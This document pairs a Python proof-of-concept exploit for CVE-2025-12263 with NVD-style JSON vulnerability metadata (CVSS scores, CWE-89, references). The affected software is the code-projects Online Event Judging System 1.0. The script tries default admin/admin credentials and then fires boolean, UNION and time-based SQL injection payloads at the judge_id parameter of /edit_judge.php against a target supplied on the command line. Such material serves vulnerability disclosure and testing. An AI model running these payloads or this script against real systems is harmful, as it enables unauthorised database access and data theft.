CVE-2025-12263

import requests import sys # CVE-2025-12263 SQL Injection PoC # Target: code-projects Online Event Judging System 1.0 # File: /edit_judge.php # Parameter: judge_id def exploit_sqli(target_url, judge_id_payload): """ Exploit SQL injection in judge_id parameter """ # Construct the vulnerable URL exploit_url = f"{target_url}/edit_judge.php?judge_id={judge_id_payload}" try: response = requests.get(exploit_url, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"Error: {e}") return None def basic_auth_bypass(target_url): """ Basic authentication bypass to access the vulnerable endpoint """ # Try to access with default credentials or low-privilege account session = requests.Session() login_url = f"{target_url}/login.php" # Default credentials test credentials = { 'username': 'admin', 'password': 'admin' } try: session.post(login_url, data=credentials) return session except: return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12263.py <target_url>") print("Example: python cve-2025-12263.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') # Test basic auth bypass session = basic_auth_bypass(target) if session: print("[+] Authentication successful") else: print("[-] Authentication failed") # SQL Injection payload examples payloads = [ "1' OR '1'='1", # Basic boolean-based "1' UNION SELECT 1,2,3--", # Union-based injection "1' AND SLEEP(5)--", # Time-based blind "1' AND 1=1--", # Boolean test true "1' AND 1=2--", # Boolean test false ] print("\n[*] Testing SQL injection payloads...") for payload in payloads: print(f"[*] Testing: {payload}") result = exploit_sqli(target, payload) if result and 'error' not in result.lower(): print(f"[+] Potential vulnerability confirmed with payload: {payload}") break

{"cve": {"id": "CVE-2025-12263", "sourceIdentifier": "[email protected]", "published": "2025-10-27T11:15:39.680", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in code-projects Online Event Judging System 1.0. Affected is an unknown function of the file /edit_judge.php. The manipulation of the argument judge_id leads to sql injection. The attack may be initiated remotely. The exploit is publicly available and might be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:carmelo:online_event_judging_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "9FE35151-38A0-407C-A81B-14BA65BD9F8F"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/anyizilegong/cve/issues/2", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.329934", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.329934", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.674065", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}